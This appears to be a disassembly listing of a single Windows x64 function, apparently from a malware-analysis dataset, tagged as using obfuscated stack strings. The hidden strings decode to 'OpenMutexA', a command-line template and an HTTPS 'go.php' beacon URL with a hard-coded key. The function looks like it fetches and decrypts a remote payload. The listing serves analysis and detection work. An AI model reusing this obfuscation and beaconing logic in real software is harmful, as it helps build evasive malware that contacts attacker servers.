Function at 0x14000ae94
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4b8]
sub rsp, 0x5b8
mov rax, qword [0x1400dc020]
xor rax, rsp
mov qword [rbp + 0x4a8], rax
mov r15, r9
mov qword [rbp - 0x58], r9
mov rsi, r8
mov qword [rbp - 0x60], r8
mov r12, rdx
mov qword [rbp - 0x68], rdx
mov r13, rcx
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x38], r8
mov qword [rbp - 0x30], r9
mov rbx, qword [rbp + 0x520]
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x28], rbx
xor edi, edi
mov dword [rsp + 0x4c], edi
mov dword [rbp + 0x43e], 0x642e3233
mov dword [rbp + 0x439], 0x656e7265
mov byte [rbp + 0x438], WSASetLastError
mov byte [rbp + 0x43d], WSASetLastError
mov word [rbp + 0x443], WSACleanup
mov byte [rbp + 0x442], WSASetLastError
mov dword [rbp + 0x3f7], 0x417865
mov dword [rbp + 0x3f0], 0x6e65704f
mov word [rbp + 0x3f4], 0x754d
mov byte [rbp + 0x3f6], reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
test rax, rax
jne 0x14000b0b2
mov rdx, qword [r13 + 0x18]
mov esi, 0x1000
lea edi, [rax + 0x10]
lea r15d, [rax + 0x27]
lea r12d, [rax + 0x1f]
cmp rdx, rdi
jb 0x14000afc7
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000afc2
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c13a
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov r13, qword [rbp - 0x68]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000b013
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000b00e
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c140
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov r13, qword [rbp - 0x60]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000b059
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000b054
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c146
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov r13, qword [rbp - 0x58]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000b09f
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000b09a
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c0b6
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
jmp 0x14000bd0a
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rdi
mov rdx, rbx
lea rcx, [rbp + 0x28]
call fcn.140021714
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xa8]
call fcn.140004bb8
nop
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x78], rdi
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x80], r14
mov byte [rbp + 0x68], dil
mov dword [rbp + 0x49d], 0x64253d
mov dword [rbp + 0x483], 0x752d2073
mov dword [rbp + 0x488], 0x73253d64
mov dword [rbp + 0x493], 0x3d76622d
mov dword [rbp + 0x479], 0x253d6469
mov word [rbp + 0x477], 0x632d
mov dword [rbp + 0x47f], 0x253d632d
mov dword [rbp + 0x470], 0x2073682d
mov dword [rbp + 0x48f], 0x2073253d
mov dword [rbp + 0x498], 0x722d2073
mov byte [rbp + 0x487], WSAGetLastError
mov word [rbp + 0x48c], 0x2d20
mov word [rbp + 0x474], 0x732d
mov word [rbp + 0x47d], 0x2073
mov byte [rbp + 0x497], 0x25
mov byte [rbp + 0x476], 0x20
mov byte [rbp + 0x49c], WSASetLastError
mov byte [rbp + 0x48e], 0x67
lea rax, [rbp + 0xa8]
lea edi, [r14 + 1]
cmp qword [rbp + 0xc0], rdi
cmovae rax, qword [rbp + 0xa8]
mov rdx, r12
cmp qword [r12 + 0x18], rdi
jb 0x14000b1bd
mov rdx, qword [r12]
mov rcx, r13
cmp qword [r13 + 0x18], rdi
jb 0x14000b1ca
mov rcx, qword [r13]
mov r9, r15
cmp qword [r15 + 0x18], rdi
jb 0x14000b1d6
mov r9, qword [r15]
mov r8, rsi
cmp qword [rsi + 0x18], rdi
jb 0x14000b1e2
mov r8, qword [rsi]
mov r10d, dword [rbp + 0x528]
mov dword [rsp + 0x38], r10d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x68]
call fcn.140022e30
lea rdx, [0x1400d1a28]
lea rcx, [rbp + 8]
call fcn.140023e68
nop
and dword [rsp + 0x70], 0
mov esi, 0x1000
mov r15d, 0x27
lea r12d, [r15 - 8]
mov ecx, 1
call fcn.140033aa0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], r14
mov byte [rbp + 0x88], al
mov dword [rbp + 0x46a], 0x64253d65
mov dword [rbp + 0x449], 0x73707474
mov dword [rbp + 0x450], 0x662f7325
mov dword [rbp + 0x457], 0x7068702e
mov dword [rbp + 0x45d], 0x2673253d
mov byte [rbp + 0x448], 0x68
mov word [rbp + 0x44d], 0x2f3a
mov dword [rbp + 0x464], 0x3d782673
mov word [rbp + 0x462], 0x253d
mov byte [rbp + 0x46e], al
mov byte [rbp + 0x461], reloc.WS2_32.dll_WSASetLastError
mov word [rbp + 0x455], 0x676f
mov word [rbp + 0x468], 0x2632
mov byte [rbp + 0x44f], 0x2f
mov byte [rbp + 0x454], WSASetLastError
mov word [rbp + 0x45b], 0x693f
mov dword [rbp + 0x400], 0x616f7373
mov dword [rbp + 0x404], 0x632e6d70
mov word [rbp + 0x409], WSACleanup
mov byte [rbp + 0x408], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x28]
call fcn.140023e68
or dword [rsp + 0x4c], 1
mov r9, r13
cmp qword [r13 + 0x18], rdi
jb 0x14000b332
mov r9, qword [r13]
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], rdi
cmovae r8, qword [rbp + 0x28]
mov dword [rsp + 0x28], 1
lea rax, str.1af3edf2e0db4686841b9423a14fb240
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x88]
call fcn.140022e30
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, rdi
jb 0x14000b39b
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, rsi
jb 0x14000b396
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0d4
call fcn.140026e6c
xor eax, eax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rax
mov qword [rbp], rax
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x18]
call fcn.140021714
nop
mov dword [rbp + 0x3e0], 0x6d697426
mov dword [rbp + 0x3e4], 0x64253d65
mov byte [rbp + 0x3e8], 0
call fcn.1400087ec
mov r8d, eax
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp - 0x18]
call fcn.140023268
xor eax, eax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x28]
call fcn.140021714
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x80]
call fcn.14001a2b8
test al, al
je 0x14000bd6e
cmp qword [rbp - 0x78], 0x40000
jb 0x14000be1a
lea rcx, [rbp + 0xf0]
call fcn.14000a150
nop
xor ecx, ecx
mov byte [rbp + 0xf0], cl
mov word [rbp + 0x429], 0x3366
mov dword [rbp + 0x410], 0x37386164
mov word [rbp + 0x42c], 0x3637
mov word [rbp + 0x41a], 0x6134
mov dword [rbp + 0x425], 0x64396134
mov word [rbp + 0x417], 0x3836
mov word [rbp + 0x42f], 0x36
mov dword [rbp + 0x41f], 0x35336239
mov word [rbp + 0x414], 0x3965
mov word [rbp + 0x41d], 0x3566
mov byte [rbp + 0x419], 0x30
mov byte [rbp + 0x42b], 0x35
mov word [rbp + 0x423], 0x3231
mov byte [rbp + 0x42e], 0x33
mov byte [rbp + 0x416], 0x34
mov byte [rbp + 0x41c], 0x62
mov qword [rbp + 0x48], rcx
mov qword [rbp + 0x58], rcx
mov qword [rbp + 0x60], r14
mov byte [rbp + 0x48], cl
lea rax, [rbp + 0x410]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], cl
jne 0x14000b4e3
lea rcx, [rbp + 0x48]
cmp rbx, r14
ja 0x14000b50e
mov qword [rbp + 0x58], rbx
mov r8, rbx
lea rdx, [rbp + 0x410]
call fcn.140028de0
mov byte [rbp + rbx + 0x48], 0
jmp 0x14000b51e
lea r9, [rbp + 0x410]
mov rdx, rbx
call fcn.140021a48
nop
xor ebx, ebx
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xd8], rbx
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xf0]
call fcn.140009f88
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, rdi
jb 0x14000b581
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, rsi
jb 0x14000b57c
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0da
call fcn.140026e6c
mov rcx, qword [rbp - 0x78]
call fcn.1400273c4
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x44], ebx
lea rcx, [rsp + 0x44]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, dword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140009ce4
mov bl, al
mov rcx, qword [rbp - 0x80]
call fcn.1400337c0
test bl, bl
jne 0x14000b662
mov rcx, qword [rsp + 0x58]
call fcn.140026e6c
nop
lea rcx, [rbp + 0xf0]
call fcn.140021ba4
nop
mov rdx, qword [rbp]
cmp rdx, rdi
jb 0x14000b613
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rsi
jb 0x14000b60e
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0f2
call fcn.140026e6c
xor ebx, ebx
mov qword [rbp - 8], rbx
mov qword [rbp], r14
mov byte [rbp - 0x18], bl
mov rdx, qword [rbp + 0xa0]
cmp rdx, rdi
jb 0x14000bdfd
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bdf8
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0bc
jmp 0x14000bdf8
movsxd rbx, dword [rsp + 0x44]
mov rcx, rbx
call fcn.1400273c4
mov qword [rbp - 0x70], rax
mov r8, rbx
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140028de0
mov rcx, qword [rsp + 0x58]
call fcn.140026e6c
lea rcx, [rbp + 0x28]
call fcn.140016ec4
nop
mov dword [rsp + 0x48], 0x312e36
lea rcx, [rsp + 0x48]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x14000b6a8
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], rdi
cmovae rcx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x38]
cmp r8, rax
jne 0x14000b6df
lea rdx, [rsp + 0x48]
call fcn.1400295a0
test eax, eax
jne 0x14000b6df
mov dword [rsp + 0x50], 0xa
jmp 0x14000b6e4
and dword [rsp + 0x50], 0
cmp dword [rbp + 0x528], 2
setne byte [rsp + 0x40]
cmp dword [rbp + 0x528], 3
setne byte [rsp + 0x41]
mov byte [rsp + 0x43], 0
and dword [rsp + 0x44], 0
lea rax, [rbp + 8]
cmp qword [rbp + 0x20], rdi
setae r9b
mov rcx, qword [rbp + 8]
cmovae rax, rcx
lea rdx, [0x1400d1a28]
cmp rdx, rax
jb 0x14000b880
lea rax, [rbp + 8]
test r9b, r9b
cmovne rax, rcx
mov r8, qword [rbp + 0x18]
add rax, r8
cmp rdx, rax
ja 0x14000b880
lea rax, [rbp + 8]
test r9b, r9b
cmovne rax, rcx
sub rdx, rax
and qword [rbp + 0x48], 0
mov qword [rbp + 0x60], r14
cmp r8, rdx
jb 0x14000c0ec
sub r8, rdx
or rbx, 0xffffffffffffffff
cmp r8, rbx
cmovb rbx, r8
mov qword [rsp + 0x60], rbx
lea rax, [rbp + 8]
test r9b, r9b
cmovne rax, rcx
add rax, rdx
mov qword [rsp + 0x68], rax
cmp rbx, r14
ja 0x14000b7ad
mov qword [rbp + 0x58], rbx
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140028de0
mov byte [rbp + rbx + 0x48], 0
jmp 0x14000b835
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x14000c0e6
or rbx, r14
cmp rbx, rax
jbe 0x14000b7d7
mov rbx, rax
movabs rcx, 0x8000000000000000
jmp 0x14000b7ec
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, rsi
jb 0x14000b7f3
call fcn.140021a0c
jmp 0x14000b801
test rcx, rcx
je 0x14000b7ff
call fcn.140026e74
jmp 0x14000b801
xor eax, eax
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x58], rcx
mov qword [rbp + 0x60], rbx
mov r8, rcx
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.140028de0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
mov byte [rax + rcx], 0
mov qword [rbp + 0x48], rax
or dword [rsp + 0x4c], 2
mov rdx, qword [rbp + 0x20]
cmp rdx, rdi
jb 0x14000b86e
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, rsi
jb 0x14000b869
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0e0
call fcn.140026e6c
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rbp + 0x58]
movups xmmword [rbp + 0x18], xmm1
jmp 0x14000b889
lea rcx, [rbp + 8]
call fcn.140021834
lea rdx, [0x1400d1a28]
lea rcx, [rbp + 0xc8]
call fcn.140023e68
nop
cmp dword [rsp + 0x44], 0x14
setge byte [rsp + 0x42]
mov rbx, qword [rsp + 0x78]
mov qword [rsp + 0x60], rbx
cmp dword [rsp + 0x50], 0xa
jge 0x14000b90f
cmp qword [rbx + 0x18], rdi
jb 0x14000b8c6
mov rax, qword [rbx]
mov qword [rsp + 0x60], rax
mov edx, 0x104
lea rcx, [rbp + 0x68]
call fcn.140022570
mov r8, rax
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x41]
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x42]
mov byte [rsp + 0x28], al
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 8]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rbp - 0x70]
call fcn.1400039d4
jmp 0x14000b964
cmp qword [rbx + 0x18], rdi
jb 0x14000b91d
mov rax, qword [rbx]
mov qword [rsp + 0x60], rax
mov edx, 0x104
lea rcx, [rbp + 0x68]
call fcn.140022570
mov r8, rax
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x41]
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x42]
mov byte [rsp + 0x28], al
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 8]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rbp - 0x70]
call fcn.14001a400
mov bl, al
mov eax, dword [rsp + 0x50]
inc eax
xor ecx, ecx
cmp eax, 0x14
cmovl ecx, eax
mov dword [rsp + 0x50], ecx
lea rcx, [rbp + 0x68]
call fcn.140023a54
test bl, bl
jne 0x14000b991
mov ecx, 0x1f4
call fcn.14001f860
jmp 0x14000b9e0
and dword [rsp + 0x58], 0
lea rcx, [rbp + 0x48]
call fcn.140023088
nop
cmp qword [rax + 0x18], rdi
jb 0x14000b9a9
mov rax, qword [rax]
mov r8, rax
xor edx, edx
mov ecx, 0x100000
call qword [rbp - 0x50]
mov rbx, rax
lea rcx, [rbp + 0x48]
call fcn.14002189c
test rbx, rbx
jne 0x14000ba00
mov ecx, 0xc8
call fcn.14001f860
mov ebx, dword [rsp + 0x58]
inc ebx
mov dword [rsp + 0x58], ebx
cmp ebx, 0xa
jl 0x14000b996
lea rcx, [rbp + 0xc8]
call fcn.14002189c
mov edx, dword [rsp + 0x44]
inc edx
mov dword [rsp + 0x44], edx
cmp edx, 0x28
jge 0x14000ba19
jmp 0x14000b706
mov rcx, rbx
call fcn.140007a70
mov byte [rsp + 0x43], 1
lea rcx, [rbp + 0xc8]
call fcn.14002189c
mov rcx, qword [rbp - 0x70]
call fcn.140026e6c
xor ebx, ebx
lea rcx, [rbp + 0x28]
call fcn.14002189c
nop
lea rcx, [rbp + 0xf0]
call fcn.140021ba4
cmp byte [rsp + 0x43], bl
je 0x14000bd79
mov rdx, qword [rbp]
cmp rdx, rdi
jb 0x14000ba78
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rsi
jb 0x14000ba73
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0f2
call fcn.140026e6c
mov qword [rbp - 8], rbx
mov qword [rbp], r14
mov byte [rbp - 0x18], bl
mov rdx, qword [rbp + 0xa0]
cmp rdx, rdi
jb 0x14000babd
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bab8
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0bc
call fcn.140026e6c
mov r13, qword [rbp - 0x50]
lea rcx, [rbp + 0xc8]
call fcn.140023088
nop
cmp qword [rax + 0x18], rdi
jb 0x14000bad7
mov rax, qword [rax]
mov r8, rax
xor edx, edx
mov ecx, 0x100000
call r13
mov qword [rsp + 0x68], rax
lea rcx, [rbp + 0xc8]
call fcn.14002189c
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x14000bb1b
mov rcx, rax
call fcn.140007a70
mov ecx, 0xfa
call fcn.14001f860
inc ebx
cmp ebx, 0xf0
jl 0x14000bac1
call fcn.14001c968
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, rdi
mov r13, qword [rbp - 0x48]
jb 0x14000bb59
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bb54
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0ce
call fcn.140026e6c
xor ebx, ebx
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], r14
mov byte [rbp + 8], bl
mov rdx, qword [rbp + 0x80]
cmp rdx, rdi
jb 0x14000bb9d
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bb98
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c12e
call fcn.140026e6c
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], r14
mov byte [rbp + 0x68], bl
mov rdx, qword [rbp + 0xc0]
cmp rdx, rdi
jb 0x14000bbe5
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bbe0
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c134
call fcn.140026e6c
mov qword [rbp + 0xb8], rbx
mov qword [rbp + 0xc0], r14
mov byte [rbp + 0xa8], bl
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000bc2d
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000bc28
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c13a
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r14
mov byte [r13], bl
mov r13, qword [rbp - 0x68]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000bc71
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000bc6c
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c140
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r14
mov byte [r13], bl
mov r13, qword [rbp - 0x60]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000bcb5
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000bcb0
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c146
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r14
mov byte [r13], bl
mov r13, qword [rbp - 0x58]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000bcf9
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000bcf4
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c0b6
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r14
mov byte [r13], bl
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x14000bd3d
inc rdx
mov rcx, qword [rbx]
cmp rdx, rsi
jb 0x14000bd38
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c0c8
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r14
mov byte [rbx], 0
xor al, al
mov rcx, qword [rbp + 0x4a8]
xor rcx, rsp
call fcn.140026bb0
add rsp, 0x5b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, qword [rbp - 0x80]
call fcn.1400337c0
xor ebx, ebx
mov ecx, 0xc8
call fcn.14001f860
nop
mov rdx, qword [rbp]
cmp rdx, rdi
jb 0x14000bdb8
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bdb3
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c122
call fcn.140026e6c
mov qword [rbp - 8], rbx
mov qword [rbp], r14
mov byte [rbp - 0x18], bl
mov rdx, qword [rbp + 0xa0]
cmp rdx, rdi
jb 0x14000bdfd
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bdf8
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c128
call fcn.140026e6c
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
cmp eax, 6
jge 0x14000babd
mov rbx, qword [rsp + 0x78]
jmp 0x14000b232
mov rdx, qword [rbp]
cmp rdx, rdi
jb 0x14000be4e
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rsi
jb 0x14000be49
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0f2
call fcn.140026e6c
and qword [rbp - 8], 0
mov qword [rbp], r14
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, rdi
jb 0x14000be96
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, rsi
jb 0x14000be90
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0bc
call fcn.140026e6c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, rdi
jb 0x14000beca
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bec5
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0f8
call fcn.140026e6c
and qword [rbp + 0x18], 0
mov qword [rbp + 0x20], r14
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, rdi
jb 0x14000bf0e
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bf09
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c0fe
call fcn.140026e6c
and qword [rbp + 0x78], 0
mov qword [rbp + 0x80], r14
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, rdi
jb 0x14000bf58
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bf53
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x14000c104
call fcn.140026e6c
and qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], r14
mov byte [rbp + 0xa8], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000bfa2
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000bf9d
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c10a
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov r13, qword [rbp - 0x68]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000bfe8
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000bfe3
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c110
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov r13, qword [rbp - 0x60]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000c02e
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000c029
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c116
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov r13, qword [rbp - 0x58]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14000c074
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14000c06f
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c11c
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x14000bd3d
inc rdx
mov rcx, qword [rbx]
cmp rdx, rsi
jb 0x14000bd38
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x14000c0c2
jmp 0x14000bd35
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3
call fcn.1400218f8
int3
call fcn.14002162c
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
